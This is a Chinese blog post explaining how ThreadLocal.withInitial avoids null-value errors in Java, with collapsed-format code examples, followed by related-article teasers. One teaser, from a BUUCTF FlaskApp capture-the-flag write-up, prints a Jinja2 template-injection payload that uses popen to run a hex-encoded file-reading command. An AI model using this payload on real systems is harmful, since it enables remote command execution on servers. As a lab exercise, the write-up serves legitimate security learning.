使用ThreadLocal.withIniti避免初始化为null问题

问题描述

我们在使用threadLocal的时,使用ThreadLocal.withInitial去初始化而不是使用new ThradLocal去初始化,这是为什么呢?

问题例子

比如说,假设我们想要在每个线程中维护一个独立的计数器

import java.util.concurrent.atomic.AtomicInteger;public class ThreadLocalExample {import java.util.concurrent.atomic.AtomicInteger;public class ThreadLocalExample {private static final ThreadLocal<AtomicInteger> counterThreadLocal = new ThreadLocal<>();public static void main(String[] args) {// 创建多个线程for (int i = 0; i < 5; i++) {new Thread(() -> {// 获取 ThreadLocal 变量并递增计数器int count = counterThreadLocal.get().getAndIncrement();System.out.println("线程" + Thread.currentThread().getId() + " 计数: " + count);}).start();}}
}

这个程序实际会报错

在这里插入图片描述

首先要说明一下,这个代码并不是实现多线程的累加

import java.util.concurrent.atomic.AtomicInteger;public class MultiThreadedIncrement {private static final AtomicInteger counter = new AtomicInteger(0);public static void main(String[] args) {// 创建多个线程进行累加for (int i = 0; i < 5; i++) {new Thread(() -> {// 在多线程环境下使用AtomicInteger进行累加for (int j = 0; j < 10000; j++) {counter.incrementAndGet();}}).start();}// 等待所有线程执行完毕try {Thread.sleep(1000); // 这里仅为示例,实际使用中可能需要更精确的等待方式} catch (InterruptedException e) {e.printStackTrace();}// 输出最终累加结果System.out.println("累加结果: " + counter.get());}
}

多线程的累加是这样的,一定要注意。而本案例是想实现每个线程独立维护一个计数器,互不干涉。
或者我们这样来写大家可以看的更清楚
import java.util.concurrent.atomic.AtomicInteger;

public class ThreadLocalIncrement {private static final ThreadLocal<AtomicInteger> threadLocalCounter = ThreadLocal.withInitial(AtomicInteger::new);public static void main(String[] args) {// 创建多个线程进行递增for (int i = 0; i < 5; i++) {new Thread(() -> {// 获取当前线程的计数器AtomicInteger counter = threadLocalCounter.get();// 在每个线程中递增计数器for (int j = 0; j < 10000; j++) {counter.incrementAndGet();System.out.println("线程" + Thread.currentThread().getId() + " 计数: " + counter.get());}}).start();}}
}

在这里插入图片描述

我们知道thread底层是基于treadmap实现的

ThreadLocal 使用了一个名为 ThreadLocalMap 的内部类,它是 Thread 类的一个字段。

每个线程都有自己的 ThreadLocalMap 实例,它是一个自定义的散列表结构。在 ThreadLocalMap 中,ThreadLocal 实例作为键,与之关联的值则存储在相应的槽位中。每个 ThreadLocal 实例在自己所属线程的 ThreadLocalMap 中有一个条目。

当你调用 ThreadLocal 的 get 方法时,实际上是在当前线程的 ThreadLocalMap 中查找与该 ThreadLocal 实例关联的值。而调用 set 方法则是在当前线程的 ThreadLocalMap 中设置对应的关联值。

这种设计的好处在于,每个线程都有自己独立的存储空间,不需要锁定或同步,从而提高了并发性能。

总体来说,虽然底层并不直接使用标准的 Map 实现,但可以将 ThreadLocalMap 看作是一个简化版的散列表

解决

我们可以简单理解为这就是一个map,key就是每个线程的threadLacle实例,value就是要存的值
实际上,每个线程在开始执行时,实例化threadLocal并没有初始化值,而是一开始threalLocal的值就是null,所以在执行get方法的时候实际上取得是一个null值。所以null.getAndIncrement()自然会报错
我们可以这样修改

import java.util.concurrent.atomic.AtomicInteger;public class ThreadLocalExample {private static final ThreadLocal<AtomicInteger> counterThreadLocal = new ThreadLocal<>();public static void main(String[] args) {// 创建多个线程for (int i = 0; i < 5; i++) {new Thread(() -> {// 检查 ThreadLocal 变量是否为 null,如果为 null,则设置初始值if (counterThreadLocal.get() == null) {counterThreadLocal.set(new AtomicInteger());}// 获取 ThreadLocal 变量并递增计数器int count = counterThreadLocal.get().getAndIncrement();System.out.println("线程 " + Thread.currentThread().getId() + " 计数: " + count);}).start();}}
}

在这里插入图片描述
或者我们也可以使用ThreadLocal.withInitial来避免这个问题

import java.util.concurrent.atomic.AtomicInteger;public class ThreadLocalExample {private static final ThreadLocal<AtomicInteger> counterThreadLocal = ThreadLocal.withInitial(AtomicInteger::new);public static void main(String[] args) {// 创建多个线程for (int i = 0; i < 5; i++) {new Thread(() -> {// 获取 ThreadLocal 变量并递增计数器int count = counterThreadLocal.get().getAndIncrement();System.out.println("线程 " + Thread.currentThread().getId() + " 计数: " + count);}).start();}}
}

总结

在上述例子中,counterThreadLocal 是一个 ThreadLocal 变量,初始值是一个 AtomicInteger 计数器。每个线程第一次访问 counterThreadLocal 时,都会调用 AtomicInteger::new 获取一个新的 AtomicInteger 实例作为初始值。每个线程都有自己独立的计数器,互不干扰。

如果我们使用 new ThreadLocal<>(); 创建 ThreadLocal 实例,它的初始值将为 null。这样,每个线程第一次访问 ThreadLocal 变量时都会得到 null。这可能需要额外的逻辑来处理初始值,增加了出错的可能性。所以,使用 ThreadLocal.withInitial 提供了一种更清晰和线程安全的方式来初始化 ThreadLocal 变量。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/221249.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【EI会议征稿】第五届机械仪表与自动化国际学术会议(ICMIA 2024)

第五届机械仪表与自动化国际学术会议&#xff08;ICMIA 2024&#xff09; The 5th International Conference on Mechanical Instrumentation and Automation 2024年第五届机械仪表与自动化国际学术会议&#xff08;ICMIA 2024&#xff09;定于2024年4月5-7日在中国武汉隆重…

BUUCTF-[GYCTF2020]FlaskApp flask爆破pin

这道题不需要爆破也可以getshell ssti都给你了 {{((lipsum.__globals__.__builtins__[__import__](so[::-1])[popen]("\x63\x61\x74\x20\x2f\x74\x68\x69\x73\x5f\x69\x73\x5f\x74\x68\x65\x5f\x66\x6c\x61\x67\x2e\x74\x78\x74")).read())}} 但是学习记录一下pin…

如何生成core文件进行项目调试?

由于项目前期的调试错误比较多&#xff0c;或者有某些隐藏危险&#xff1a;例如内存泄漏&#xff1b;偶尔才出现一次&#xff0c;如果没有捕捉错误的手段可能好不容易出现的机会就溜走了&#xff0c;所以生成core文件是必要的&#xff0c;发生段错误会生成相应的core文件&#…

Threejs之相机基础

参考资料 正投影相机…相机控件MapControls 知识点 注&#xff1a;基于Three.jsv0.155.0 正投影相机正投影相机-Canvas尺寸变化包围盒Box3地图案例(包围盒、正投影)相机动画(.position和.lookAt())不同方向的投影视图旋转渲染结果(.up相机上方向)管道漫游案例OrbitControls…

字节流生成的map进行remove报错分析

使用stream流生成的map进行remove操作会报错 当对stream生成的map进行remove操作时&#xff0c;代码报错&#xff0c;复现代码如下&#xff1a; package com.test.testdemo01.service;import com.test.testdemo01.entity.dto.DemoData; import org.junit.Test;import java.ut…

【数据结构】栈和队列超详解!(Stack Queue)

文章目录 前言一、栈1、栈的基本概念2、栈的实现&#xff08;数组实现&#xff09;3、栈的基本操作3.1 栈的结构设计3.2 栈常见的基本函数接口 4、栈的实现4.1 初始化栈4.2 栈的销毁4.3 入栈4.4 出栈4.5 判空4.6 长度4.7 获取栈顶元素 完整代码Stack.hStack.cTest.c 二、队列1、…

SQLAlchemy 第一篇

安装SQLAlchemy pip install SQLAlchemy查看当前版本 # 查看当前版本import sqlalchemyprint(sqlalchemy.__version__)2.0.23创建数据库连接 此处我们以pymysql为mysql的数据库驱动 安装pymysql pip install pymysqlfrom sqlalchemy import create_engine engine create_…

Next.js 的设计理念

Next.js 的设计理念&#xff1a;简洁、强大与高效 Next.js 是一个流行的 React 框架&#xff0c;由 Vercel 公司开发。它的设计理念是简洁、强大和高效&#xff0c;这种理念贯穿于 Next.js 的所有功能中。下面我们将深入探讨这三个设计理念。 简洁 Next.js 的一个核心设计理…

阿里云国际设置DDoS基础防护和原生防护攻击事件报警

通过事件报警您能够获知业务遭受的DDoS攻击事件&#xff0c;及时发现并修复问题&#xff0c;缩短故障处理时间&#xff0c;以便尽快恢复业务。本文介绍如何设置DDoS基础防护和原生防护攻击事件的报警通知。 报警方式说明 阿里云DDoS原生防护提供消息中心报警、云监控报警和日…

HTTP 500错误:服务器内部错误,原因及解决方案

大家好&#xff0c;今天我们来聊聊一个常见的问题——HTTP 500错误&#xff0c;也就是服务器内部错误。这个错误就像是一个神秘的魔法&#xff0c;时不时地出现在你的网页上&#xff0c;让你的用户和你在一片懵逼中互相猜疑。 首先&#xff0c;我们来了解一下这个错误。HTTP 5…

大力说企微入门系列第四课:规则设计

当公司的企业微信体系建立起来以后&#xff0c;相应的人员、角色、权限已经配置&#xff0c;接下来是否就可以开始进入运营阶段那。 理论上来说是可以的&#xff0c;但是可能会引起混乱。所谓没有规矩不成方圆&#xff0c;要想运营顺利&#xff0c;还需要一些规则的设计。 01…

查找两个总和为特定值的索引(蓝桥杯)

#include <stdio.h> int main(){int n;scanf("%d",&n);int s[n];for(int i 0 ; i < n ; i)scanf("%d",&s[i]);int k;scanf("%d",&k);int sum 0;int t0,h;int st[101]; for(int i 0 ; i < n ; i)st[i] 0; //标记数…

Python员工信息管理系统V2(python系列21)

前言&#xff1a;在python系列19&#xff0c;我们使用MVC架构初步完成员工信息管理系统&#xff0c;今天我们使用封装&#xff0c;继承&#xff0c;多态让我们的程序有隐藏的魅力&#xff0c;更加灵活&#xff0c;有扩展性。 实现的功能和python系列19一模一样&#xff0c;所以…

Springboot+Libreoffice集成开发

简介 LibreOffice 是一款功能强大的办公软件&#xff0c;默认使用开放文档格式 (OpenDocument Format , ODF), 并支持 *.docx, *.xlsx, *.pptx 等其他格式。 它包含了 Writer, Calc, Impress, Draw, Base 以及 Math 等组件&#xff0c;可用于处理文本文档、电子表格、演示文稿、…

垃圾回收 (GC) 在 .NET Core 中是如何工作的?

提起GC大家肯定不陌生&#xff0c;但是让大家是说一下GC是怎么运行的&#xff0c;可能大多数人都不太清楚&#xff0c;这也很正常&#xff0c;因为GC这东西在.NET基本不用开发者关注&#xff0c;它是依靠程序自动判断来释放托管堆的&#xff0c;我们基本不需要主动调用Collect(…

【论文阅读】O’Reach: Even Faster Reachability in Large Graphs

Hanauer K, Schulz C, Trummer J. O’reach: Even faster reachability in large graphs[J]. ACM Journal of Experimental Algorithmics, 2022, 27: 1-27. Abstract 计算机科学中最基本的问题之一是可达性问题&#xff1a;给定一个有向图和两个顶点s和t&#xff0c;s可以通过…

C++进阶学习:map和set的实现

我们知道set和map的底层其实是红黑树&#xff0c;在学习完红黑树这个数据结构之后&#xff0c;我们开始简单模拟实现一下这两个STL容器 目录 1.set和map的泛型编程思想 2.红黑树的结构 2.1.迭代器的实现 2.2.迭代器的 operator 2.3.迭代器的代码 2.4.set和map迭…

资产管理系统部署及库存告警

1.需求&#xff1a;对电脑&#xff0c;办公设备&#xff0c;耗材等做资产盘点和整理&#xff0c;并对库存预警。 2.选型&#xff1a;snipeit 3.部署 #!/bin/bash docker run -d -p 80:80 --name"snipeit" --env-filesnipeit.env --mount sourcesnipe-vol,dst/var/l…

鸿蒙OS应用开发之文本输入组件

前面学习了按钮组件的输入方式,它只能响应触摸输入,或者点击输入,而不能实现文本的输入,虽然它是主流的操作方式,但是很多时候还是需要文本的输入。比如登录邮箱需要输入用户帐号和密码,网上购物需要输入地址和电话号码等等。应用对这样的需求,就需要使用文本输入组件,…

【算法系列篇】递归、搜索和回溯(三)

文章目录 前言什么是二叉树剪枝1. 二叉树剪枝1.1 题目要求1.2 做题思路1.3 代码实现 2. 验证二叉搜索树2.1 题目要求2.2 做题思路2.3 代码实现 3. 二叉搜索树中第k小的元素3.1 题目要求3.2 做题思路3.3 代码实现 4. 二叉树的所有路径4.1 题目要求4.2 做题思路4.3 代码实现 前言…